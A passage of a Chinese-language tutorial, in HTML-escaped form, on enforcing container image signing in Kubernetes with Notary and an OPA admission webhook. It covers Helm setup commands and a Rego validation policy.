&lt;li&gt;&lt;p&gt;如果是 Kubernetes 集群，至少启用了 &lt;code&gt;MutatingAdmissionWebhook&lt;/code&gt; 和&lt;code&gt;ValidatingAdmissionWebhook&lt;/code&gt;；如果是 Minikube，应该使用如下启动方式：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-text&#34;&gt;$ minikube start \
--extra-config=apiserver.enable-admission-plugins=MutatingAdmissionWebhook,ValidatingAdmissionWebhook
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;私有镜像库，或者一个 Docker Hub ID，用于推送签名镜像。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;从&lt;a href=&#34;https://github.com/k8s-gadgets/k8s-content-trust&#34; target=&#34;_blank&#34;&gt;我们的 Github 仓库&lt;/a&gt;获取用于安装 OPA、Notary 以及 Notary-Wrapper 的 Helm Chart。&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&#34;notary-和镜像信任的基本概念&#34;&gt;Notary 和镜像信任的基本概念&lt;/h2&gt;

&lt;p&gt;将代码、可执行文件或者脚本进行签名，保障仅有受信内容才可运行，这是一个已知的最佳实践。软件签名不是什么新概念，有很多相关的供应商和方案，每个组织都有自己的方式来处理制品的签署和信任。然而如果把目光投向容器领域，可能会发现并没有那么多选择。&lt;/p&gt;

&lt;h3 id=&#34;notary-是什么&#34;&gt;Notary 是什么&lt;/h3&gt;

&lt;p&gt;你可能已经听说过 Notary，这是一个基于 &lt;a href=&#34;https://theupdateframework.github.io/&#34; target=&#34;_blank&#34;&gt;TUF 项目&lt;/a&gt;的用于软件制品签名的开源软件。&lt;/p&gt;

&lt;h3 id=&#34;notary-如何运作&#34;&gt;Notary 如何运作&lt;/h3&gt;

&lt;p&gt;首先说说 Notary 的核心概念。Notary 使用角色和元数据文件对受信集合内容进行签署，这些内容被称为全局唯一名称（GUN——Global Unique Name）。&lt;/p&gt;

&lt;p&gt;以 Docker 镜像为例，GUN 相当于 &lt;code&gt;[registry]/[repository name]:[tag]&lt;/code&gt;。&lt;/p&gt;

&lt;p&gt;&lt;code&gt;[registry]&lt;/code&gt; 是镜像的源仓库，&lt;code&gt;[repository name]&lt;/code&gt; 是镜像的名称。&lt;code&gt;[tag]&lt;/code&gt; 对镜像进行标记（通常代表版本）。&lt;/p&gt;

&lt;p&gt;Notary 借助 TUF 的角色和密钥层级关系对镜像进行签名。有五种密钥类型用于对元数据文件进行签署，并用 &lt;code&gt;.json&lt;/code&gt; 的方式保存到 &lt;a href=&#34;https://docs.docker.com/notary/service_architecture/&#34; target=&#34;_blank&#34;&gt;Notary 数据库&lt;/a&gt;。下图描述了密钥层级以及这些密钥的典型存储位置。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/key-hierarchy-in-notary.png&#34; alt=&#34;key-hierarchy-in-notary&#34; /&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;根密钥：每个 GUN 都有自己的根角色和密钥。根密钥是所有信任关系的基础，用于对根级元数据文件（其中包含根 ID、目标、快照以及时间戳公钥的 ID）进行签名。通常这个密钥是由（GUN）的属主管理的，并使用离线的方式进行保存（例如在本地目录或者硬件密钥设备）。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;目标密钥：目标密钥负责签署目标元数据文件，其中包含该集合中的所有文件名、尺寸以及对应的哈希值。这个元数据文件用于对该仓库中的所有实际内容进行完整性验证。这还表示目标元数据文件包含了每个镜像标签的入口。目标密钥可以使用委托角色把信任关系委托给其它的合作者。目标密钥也是属于 GUN 属主的，同样用离线方式保存。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;委托密钥：如上文所说，目标密钥能够委托给其它角色。这些角色会有自己的密钥来签署被委托的元数据文件，其中同样会包含该集合中的文件名、尺寸以及对应的哈希。委托元数据文件能用于校验仓库中部分或者全部内容的完整性。这些密钥属于这个集合的协作者。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;快照密钥：快照密钥负责签署快照元数据文件，其中遍历了每个 GUN 的根、目标和委托元数据。这个元数据文件的目标就是验证其它元数据文件的完整性。快照密钥属于协作属主（本地），或者如果 Notary 服务（通过委托角色使用多个协作者）。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;时间戳密钥：时间戳密钥用于签署时间戳元数据文件，这个密钥的存在目的是保障集合的时效性。这其中包含了元数据的最短过期时间、最近快照的文件名、尺寸以及哈希。这个元数据文件用来检验快照文件的完整性。时间戳密钥由 Notary 服务保存，这样这个密钥就能自动的根据服务器的请求自动重新生成。&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;管理密钥的 Notary 服务架构包括两个组件：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;Notary 服务器，用来保存和更新信任 GUN 的签署后元数据文件。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Notary Signer 保存了私钥，用于为 Notary Server 提供元数据签署能力。&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Docker 文档中&lt;a href=&#34;https://docs.docker.com/notary/service_architecture/&#34; target=&#34;_blank&#34;&gt;这张 Notary 的示意图&lt;/a&gt;很好的概括了客户端与 Notary Server 以及 Signer 之间的通信。下图是一个简化版本：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/notary-server-signer-client.png&#34; alt=&#34;notary-server-signer-client.png&#34; /&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;Notary 服务器可以使用 JWT Token 进行认证。如果没有使用这个功能，可以简单地上传新的元数据文件。如果客户端上传了新的元数据文件，Notary Server 会对老版本进行冲突检测，并对签名、校验和以及元数据的有效性进行检测。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;上传的元数据通过验证以后，Notary 服务器会生成时间戳元数据，并将元数据发给 Signer 进行签名。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Notary Signer 从数据库中获取加密的密钥，解密后对元数据进行签署。如果签署成功，则将签名发回给 Notary 服务器。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Notary Server 是所有受信集合（GUN）真实状态的来源，TUF 数据库中存储了客户端上传和服务器生成的元数据。生成的时间戳和快照元数据证明客户端上传的元数据是该可信集合的最新数据。Notary 服务器会通知客户其上传成功。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;客户端能够从服务器下载最新的元数据。Notary 服务器从数据库中取出元数据即可。&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;如果时间戳过期，Notary 服务器会重新完成流程，生成新的时间戳，申请 Signer 签名，并在数据库中保存新签署的时间戳。然后发送新的时间戳以及用户请求的其它元数据。&lt;/p&gt;

&lt;p&gt;Notary 签署过程看起来很复杂，不过一个好消息就是，Docker 客户端中集成了用 Notary 签署镜像的能力。可以轻松地使用环境变量在本地设备上启用镜像信任机制：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;DOCKER_CONTENT_TRUST=1&lt;/code&gt;：在客户端启用 Notary&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;code&gt;DOCKER_CONTENT_TRUST_SERVER=”&amp;lt;url-to-your-Notary-server&amp;gt;”&lt;/code&gt;：使用自己的 Notary 服务提供信任关系&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;设置这些之后，Docker 客户端就会在拉取之前检查签名，并在推送之前请求签署凭据来对镜像进行签名。Docker HUB 还提供了自己的缺省 Notary 服务 &lt;code&gt;https://notary.docker.io&lt;/code&gt;，如果启用了内容信任，会用它对推送镜像进行签署。&lt;/p&gt;

&lt;p&gt;如果拉取镜像是有签名的，可以简单的使用 &lt;code&gt;docker trust inspect &amp;lt;GUN&amp;gt;&lt;/code&gt; 来检查签名情况：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ docker trust inspect nginx:latest
[
    {
        &amp;quot;Name&amp;quot;: &amp;quot;nginx:latest&amp;quot;,
        &amp;quot;SignedTags&amp;quot;: [
            {
                &amp;quot;SignedTag&amp;quot;: &amp;quot;latest&amp;quot;,
                &amp;quot;Digest&amp;quot;: &amp;quot;b2xxxxxxxxxxxxx4a0395f18b9f7999b768f2&amp;quot;,
                &amp;quot;Signers&amp;quot;: [
                    &amp;quot;Repo Admin&amp;quot;
                ]
            }
        ],
        &amp;quot;Signers&amp;quot;: [],
        &amp;quot;AdministrativeKeys&amp;quot;: [
            {
                &amp;quot;Name&amp;quot;: &amp;quot;Root&amp;quot;,
                &amp;quot;Keys&amp;quot;: [
                    {
                        &amp;quot;ID&amp;quot;: &amp;quot;d2fxxxxxxx042989d4655a176e8aad40d&amp;quot;
                    }
                ]
            },
            ...
        ]
    }
]
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;除了使用 &lt;code&gt;docker trust&lt;/code&gt; 之外，也可以下载 &lt;a href=&#34;https://github.com/theupdateframework/notary/releases&#34; target=&#34;_blank&#34;&gt;Notary 客户端&lt;/a&gt;，直接和服务器进行通信。&lt;/p&gt;

&lt;h2 id=&#34;在-kubernetes-上安装-notary&#34;&gt;在 Kubernetes 上安装 Notary&lt;/h2&gt;

&lt;p&gt;到现在我们已经对 Notary 的工作机制有了个初步的认识。我们可以更进一步，在 Kubernetes 上安装自己的 Notary 服务。我们准备了两个 Shell 脚本和 Helm Chart，这样就可以很方便的进行安装了。开始之前请克隆我们的代码仓库：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ git clone https://github.com/k8s-gadgets/k8s-content-trust
...
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;安装&#34;&gt;安装&lt;/h3&gt;

&lt;p&gt;进入 &lt;code&gt;notary-k8s&lt;/code&gt; 目录。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;可选项目：构建 Notary 并加入自己的镜像库。
要从头构建最新的 Notary 镜像，需要从 &lt;code&gt;build&lt;/code&gt; 目录开始。如果要构建和推送 Notary 镜像到你自己的镜像仓库，可以编辑 &lt;code&gt;build.sh&lt;/code&gt; 文件，编辑 &lt;code&gt;REGISTRY&lt;/code&gt; 变量，使之匹配自己的镜像库，并执行 &lt;code&gt;build.sh&lt;/code&gt; 脚本。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ bash build.sh
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;接下来需要进入 &lt;code&gt;helm/notary&lt;/code&gt; 目录，并生成 TLS 证书，来确保和 Notary 服务通信的安全性：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ cd helm/notary
...
$ bash generateCerts.sh
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;在准备好 Docker 镜像并把 TLS 证书写入 Chart 之后，就可以使用 Helm 在 Kubernetes 上进行部署了。另外也可以看看 &lt;code&gt;values.yaml&lt;/code&gt; 文件，修改一些必要的参数，例如缺省密码（&lt;code&gt;passwordalias1Name&lt;/code&gt;、 &lt;code&gt;passwordalias1Value&lt;/code&gt;）或者私有仓库。&lt;/p&gt;

&lt;p&gt;然后就是创建命名空间并安装 Helm Chart：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl create namespace notary
# 切换到 notary 命名空间
$ helm install notary notary
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;检查镜像是否已经启动运行：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl get pods –n notary
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;如果 Pod 已经运行，就表明 Notary 安装成功了。然而在我们试用 Notary 服务之前，我们应该提交最后生成的 Notary Wrapper 模板。&lt;/p&gt;

&lt;p&gt;&lt;code&gt;Notary Wrapper&lt;/code&gt; 是我们写的一个扩展，借助这个扩展，OPA 就能就能和 Notary 服务进行交互了。这是一个 CLI REST 界面，仅实现了获取已签名镜像哈希以及在服务上检查新人数据的功能。&lt;/p&gt;

&lt;p&gt;从 &lt;code&gt;notary-k8s/helm/certs&lt;/code&gt; 复制证书文件到 &lt;code&gt;helm/notary-wrapper/certs&lt;/code&gt;：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;notary-wrapper.crt&lt;/li&gt;
&lt;li&gt;notary-wrapper.key&lt;/li&gt;
&lt;li&gt;root-ca.crt&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;进入源码的 &lt;code&gt;notary-wrapper&lt;/code&gt; 子目录。创建 OPA 命名空间并执行 Helm 安装过程。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl create namespace opa
# switch to namespace opa
helm install notary-wrapper notary-wrapper
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;测试-notary&#34;&gt;测试 Notary&lt;/h2&gt;

&lt;p&gt;组件安装结束之后，就可以开始用我们的信任数据来测试 Notary 了，下图展示了这个过程：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/testing-notary.png&#34; alt=&#34;testing notary&#34; /&gt;&lt;/p&gt;

&lt;p&gt;我们需要签署一些本地镜像作为测试素材，所以首先从 Docker Hub 拉取一些镜像：&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;如果你已经启用了 &lt;code&gt;DOCKER_CONTENT_TRUST&lt;/code&gt;，并且没有指定 &lt;code&gt;DOCKER_CONTENT_TRUST_SERVER&lt;/code&gt;，或者指定到了你的新服务器，拉取过程可能会失败。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;docker pull nginx:latest
docker pull busybox:latest
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;下一步就要连接我们的 Notary 客户端和服务器了：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;把 Notary 服务器加入 &lt;code&gt;/etc/hosts&lt;/code&gt;：&lt;code&gt;127.0.0.1 notary-server-svc&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;在终端中打开第二个 Tab，并为 Notary Server 的 Pod 创建一个端口转发，以便本地使用：&lt;code&gt;kubectl port-forward notary-server-&amp;lt;...&amp;gt; 4443:4443&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;第一次要签名之前，要把你的 &lt;code&gt;root-ca.crt&lt;/code&gt; 从安装目录拷贝到你的 &lt;code&gt;.docker/tls&lt;/code&gt; 目录：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;mkdir -p $HOME/.docker/tls/notary-server-svc:4443
cp &amp;lt;...&amp;gt;/helm/notary/certs/root-ca.crt $HOME/.docker/tls/notary-server-svc:4443/
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;回到第一个终端 Tab，启用内容信任机制：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;export DOCKER_CONTENT_TRUST_SERVER=https://notary-server-svc:4443
export DOCKER_CONTENT_TRUST=1
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Notary 已经启动，应该已经无法拉取任何没有被你的 Notary 服务签名的镜像了。不过可以打标签、签名和推送镜像（在我们的例子中，我们会简单的推送到我们自己的 Docker Hub 空间，使用的是我们自己的镜像签名）：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;docker tag nginx:latest docker.io/&amp;lt;hub-id&amp;gt;/nginx:1 
docker push docker.io/&amp;lt;hub-id&amp;gt;/nginx:1
docker tag busybox:latest docker.io/&amp;lt;hub-id&amp;gt;busybox:1
docker push docker.io/&amp;lt;hub-id&amp;gt;/busybox:1
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这个推送命令会提示生成密码，用于请求签名密钥。这些步骤完成后，镜像会被推送到 Docker Hub，信任数据则会保存到 Notary Server。要进行校验，可以使用前面提到的 &lt;code&gt;docker trust inspect&lt;/code&gt; 命令，如果安装了 Notary 客户端，也可以用 &lt;code&gt;notary list&lt;/code&gt; 命令。命令执行结果类似：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ notary -s https://notary-server-svc:4443 --tlscacert $HOME/.docker/tls/notary-server-svc:4443/root-ca.crt list docker.io/&amp;lt;hub-id&amp;gt;/nginx
# output
NAME    DIGEST                                SIZE (BYTES)  ROLE
----    ------                                ------------  ----
1       cccef6d6bdea671c394954b0dxxxxxxxx     948           targets
&lt;/code&gt;&lt;/pre&gt;

&lt;blockquote&gt;
&lt;p&gt;如果必须重新部署 Notary，并使用新的密钥进行镜像签署，必须删除之前存储在 &lt;code&gt;.docker/tls&lt;/code&gt; 目录中保存的密钥。另外还需要删除 &lt;code&gt;.docker/trust/tuf&lt;/code&gt; 中现存的需要重新签署的镜像的信任数据。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;现在可以开始测试 Notary Wrapper。再新开一个终端 Tab，在 /etc/hosts 文件中加入该服务的地址：&lt;code&gt;127.0.0.1 notary-wrapper-svc&lt;/code&gt;。&lt;/p&gt;

&lt;p&gt;保存之后，对端口 4445 进行端口转发：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;# switch to namespace opa
kubectl port-forward notary-wrapper-&amp;lt;...&amp;gt; 4445:4445
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;完成后就可以使用两个操作来检查 GUN、Tag 后者哈希的信任数据了，因为我们用的是 TLS 连接，要信任前面生成的根证书：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;把 GUN 和 Tag 数据提交给 &lt;code&gt;https://notary-wrapper-svc:4445/list&lt;/code&gt;，获取最新的镜像信任数据，例如：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ curl -X POST https://notary-wrapper-svc:4445/list -H “Content-Type: application/json” -d ‘{“GUN”:”docker.io/&amp;lt;hub-id&amp;gt;/nginx”, “Tag”:”1&amp;quot;, “notaryServer”:”notary-server-svc.notary.svc:4443”}’ --cacert PATH/TO/YOUR/NOTARY/certs/root-ca.crt
# output - One item
{
    &amp;quot;Name&amp;quot;:&amp;quot;1&amp;quot;,
    &amp;quot;Digest&amp;quot;:&amp;quot;cccef6d6bdexxxxxx422&amp;quot;,
    &amp;quot;Size&amp;quot;:&amp;quot;948&amp;quot;,
    &amp;quot;Role&amp;quot;:&amp;quot;targets&amp;quot;
}
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;把 GUN 和哈希码发送到 &lt;code&gt;https://notary-wrapper-svc:4445/verify&lt;/code&gt; 验证这个哈希对应的信任数据是否存在（返回码 200 或 404）。如果不知道哈希吗，可以使用 &lt;code&gt;docker inspect GUN:Tag&lt;/code&gt; 命令查看。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ curl -X POST https://notary-wrapper-svc:4445/verify -H “Content-Type: application/json” -d ‘{“GUN”:”docker.io/&amp;lt;hub-id&amp;gt;/nginx”, “SHA”:”&amp;lt;your-RepoDigest&amp;gt;”, “notaryServer”:”notary-server-svc.notary.svc:4443”}’ --cacert PATH/TO/YOUR/NOTARY/certs/root-ca.crt
...
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;后面会使用 Notary Wrapper 来实现内容信任。完成这个测试之后，就可以关闭端口转发，继续下面的内容了。&lt;/p&gt;

&lt;h3 id=&#34;在-kubernetes-上实施内容信任&#34;&gt;在 Kubernetes 上实施内容信任&lt;/h3&gt;

&lt;p&gt;现在我们已经可以签署镜像生成信任数据了，拼图还差最后一块——在 Kubernetes 上实施内容信任策略。这临门一脚的难处在于，Kubernetes 中并没有提供什么开关可以激活内容信任。&lt;/p&gt;

&lt;p&gt;又一个可能的方案就是依赖底层的 Docker 引擎，调用镜像验证插件，启用 &lt;code&gt;DOCKER_CONTENT_TRUST&lt;/code&gt;（可以参考这个 &lt;a href=&#34;https://github.com/kubernetes/kubernetes/issues/30603#issuecomment-430889781&#34; target=&#34;_blank&#34;&gt;Issue&lt;/a&gt;），这种方法有两个弊端：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;集群节点需要依赖 Docker 引擎完成信任工作。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;code&gt;DOCKER_CONTENT_TRUST&lt;/code&gt; 是个非此即彼的开关，打开之后，无法拉取没有在 Notary 上签名的镜像。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;code&gt;DOCKER_CONTENT_TRUST&lt;/code&gt; 只能检查一个镜像是否存在签名元数据，但是并不负责检查该签名是否属于这个 Tag。&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;为了克服几个弊端，我们把注意力放在了 Kubernetes Admission Control 上。&lt;/p&gt;

&lt;h2 id=&#34;opa-和-admission-control-的基本概念&#34;&gt;OPA 和 Admission Control 的基本概念&lt;/h2&gt;

&lt;p&gt;长话短说。Kubernetes Admission Controller 是一种插件机制，可以用来对集群上的资源进行校验和配置。它的作用包含在 Kubernetes API 请求的生命周期之中，除了内置的 30 个控制器（例如 &lt;a href=&#34;https://kubernetes.io/docs/concepts/policy/pod-security-policy/#enabling-pod-security-policies&#34; target=&#34;_blank&#34;&gt;PodSecurity Policy&lt;/a&gt;）之外，还会有使用自己的控制规则的需要。就可以创建自己的 Validating 或者 Mutating Webhook 了。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Mutating&lt;/strong&gt;：这种 Webhook 会对请求对象进行变更，来满足特定的配置需求。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;Validating&lt;/strong&gt;：它可以对请求对象进行验证，拒绝验证失败的请求。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Admission Control 触发的顺序是非常重要的知识点：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/kube-api-lifecycle.png&#34; alt=&#34;Kubernetes API Lifecycle&#34; /&gt;&lt;/p&gt;

&lt;p&gt;Kubernetes 会首先执行 Mutating 过程，然后才是进行验证。这样就能确保被变更过的请求对象能够正确地被校验。OPA 就是最好的实现 Mutaiting 和 Validating Webhook 的方法之一。&lt;/p&gt;

&lt;h3 id=&#34;什么是-opa&#34;&gt;什么是 OPA&lt;/h3&gt;

&lt;p&gt;OPA 是一个通用的策略引擎，它使用一种高级的声明式语言（Rego）编写策略。下图展示了 OPA 集成到 Kubernetes API 生命周期的形式：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/api-with-opa.png&#34; alt=&#34;api-with-opa&#34; /&gt;&lt;/p&gt;

&lt;h2 id=&#34;在-kubernetes-上安装-opa&#34;&gt;在 Kubernetes 上安装 OPA&lt;/h2&gt;

&lt;p&gt;我们希望在 Kubernetes 上借助 OPA/Rego 的弹性策略实现内容信任机制。然而在开始之前，首先要在集群上部署 OPA。&lt;/p&gt;

&lt;p&gt;假设你已经有了符合条件的集群，在完成命名空间创建和 Notary 步骤之后，就可以开始进入仓库中的 OPA 目录开始安装了。&lt;/p&gt;

&lt;p&gt;Kubernetes 和 OPA 之间的通信必须是 TLS 加密的，因此需要给 OPA 创建额外的证书和密钥。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;# copy the root-ca
cp ~/PATH/TO/k8-content-trust/notary-k8s/helm/notary/certs/root-ca.crt ~/PATH/TO/k8-content-trust/open-policy-agent/helm/opa/certs
# generate the additional OPA certs 
cd helm/opa
bash generateCerts.sh
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;OPA 在安装后是自动生效的，因此应该排除一些命名空间：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;kubectl label ns kube-system openpolicyagent.org/webhook=ignore
kubectl label ns opa openpolicyagent.org/webhook=ignore
kubectl label ns notary openpolicyagent.org/webhook=ignore
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;接下来我们要确认一下 &lt;code&gt;values.yaml&lt;/code&gt; 中的 &lt;code&gt;validating&lt;/code&gt; 和 &lt;code&gt;mutating&lt;/code&gt; 是否已经配置（晚些时候我们会设置 &lt;code&gt;mutating: true&lt;/code&gt;）：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;# open-policy-agent/helm/opa/values.yml
...
validating: true
mutating: false
...
&lt;/code&gt;&lt;/pre&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;# switch to namespace opa
helm upgrade --install opa opa
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;在安装结束之后，可以在终端打开一个新 Tab，会看到 OPA 日志中 API Server 的进入请求。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;# ctrl-c to exit
kubectl logs -n opa -f opa-deploy-&amp;lt;...&amp;gt; opa
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;定义-validating-admission-control-控制内容信任&#34;&gt;定义 Validating Admission Control 控制内容信任&lt;/h2&gt;

&lt;p&gt;总算到了有意思的部分了，开始实现内容信任机制。Notary 和 OPA 都已整装待发，首先我们想拒绝一切不受信任的镜像。要完成这个任务，要先搞清楚 Docker Tag 和哈希之间的关系。&lt;/p&gt;

&lt;p&gt;一般来说，我们会使用 GUN 以及标签来部署镜像。然而多数人会忽略一个事实，镜像标签是可以覆盖的，因此它的唯一性是靠不住的。一个集合的所有者能够用同样的 Tag 多次推送变更了的已签署镜像。为了避免这种情况，应该使用唯一摘要进行镜像拉取。&lt;/p&gt;

&lt;p&gt;我们定义两条 Rego 规则来完成这个 Webhook：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;拒绝只使用普通 Tag (包括 &lt;code&gt;latest&lt;/code&gt;)的部署。&lt;/li&gt;
&lt;li&gt;拒绝使用了哈希但是没有被 Notary 签名的镜像。&lt;/li&gt;
&lt;/ol&gt;

&lt;blockquote&gt;
&lt;p&gt;已经随 Helm 安装好。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;先看看第一条规则（&lt;code&gt;helm/opa/policy/validating/rules.rego&lt;/code&gt;）&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-rego&#34;&gt;package policy.validating

operations := {&amp;quot;CREATE&amp;quot;, &amp;quot;UPDATE&amp;quot;}

kind := {&amp;quot;Pod&amp;quot;, &amp;quot;Deployment&amp;quot;}

# rule to deny digests for pods and deployments
deny[msg] {
  operations[input.request.operation]
  kind[input.request.kind.kind]
  image = get_images[_]
  not contains(image.name, &amp;quot;@sha256:&amp;quot;)
  msg := sprintf(&amp;quot;%v contains tag; only images with checksum are allowed&amp;quot;, [image.name])
}

# rule deny if digest is not in notary
deny[msg] {
  operations[input.request.operation]
  kind[input.request.kind.kind]
  image = get_images[_]
  contains(image.name, &amp;quot;@sha256:&amp;quot;)

  # Example to mock digest comparison
  # parts := split_image(image.name)
  # not parts.digest == &amp;quot;@sha256:50&amp;quot;

  get_checksum_status(image.name) != 200
  msg := sprintf(&amp;quot;No trust data found for the following image: %v &amp;quot;, [image.name])
}

# helper rules
# get images if pod
get_images[x] {
  input.request.kind.kind == &amp;quot;Pod&amp;quot;
  name := input.request.object.spec.containers[i].image
  x := {
    &amp;quot;index&amp;quot;: i,
    &amp;quot;name&amp;quot;: name,
  }
}

## get images if deployment
get_images[x] {
  input.request.kind.kind == &amp;quot;Deployment&amp;quot;
  name := input.request.object.spec.template.spec.containers[i].image
  x := {
    &amp;quot;index&amp;quot;: i,
    &amp;quot;name&amp;quot;: name,
  }
}

# rule to split gun and tag
split_image(image) = x {
  parts := split(image, &amp;quot;@sha256:&amp;quot;)
  x := {
    &amp;quot;gun&amp;quot;: parts[0],
    &amp;quot;digest&amp;quot;: parts[1],
  }
}

# rule to get digest from notary-wrapper
get_checksum_status(image) = status {
  wrapperRootCa := &amp;quot;/etc/certs/notary/root-ca.crt&amp;quot;
  notaryWrapperURL = &amp;quot;https://notary-wrapper-svc.opa.svc:4445/verify&amp;quot;
  parts := split_image(image)
  body := {
    &amp;quot;GUN&amp;quot;: parts.gun,
    &amp;quot;SHA&amp;quot;: parts.digest,
    &amp;quot;notaryServer&amp;quot;: &amp;quot;notary-server-svc.notary.svc:4443&amp;quot;,
  }

  headers_json := {&amp;quot;Content-Type&amp;quot;: &amp;quot;application/json&amp;quot;}
  output := http.send({&amp;quot;method&amp;quot;: &amp;quot;post&amp;quot;, &amp;quot;url&amp;quot;: notaryWrapperURL, &amp;quot;headers&amp;quot;: headers_json, &amp;quot;body&amp;quot;: body, &amp;quot;tls_ca_cert_file&amp;quot;: wrapperRootCa})
  status := output.status_code
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;上面的规则会检查尝试创建或更新 Pod 或者 Deployment 类型的 API 请求。&lt;/p&gt;

&lt;p&gt;根据资源类型，&lt;code&gt;get_image[x]&lt;/code&gt; 规则会确保遍历请求中的所有容器，检查这些容器是否用摘要（例如 &lt;code&gt;[GUN]@sha256:[digest hash]&lt;/code&gt;）进行拉取。&lt;/p&gt;

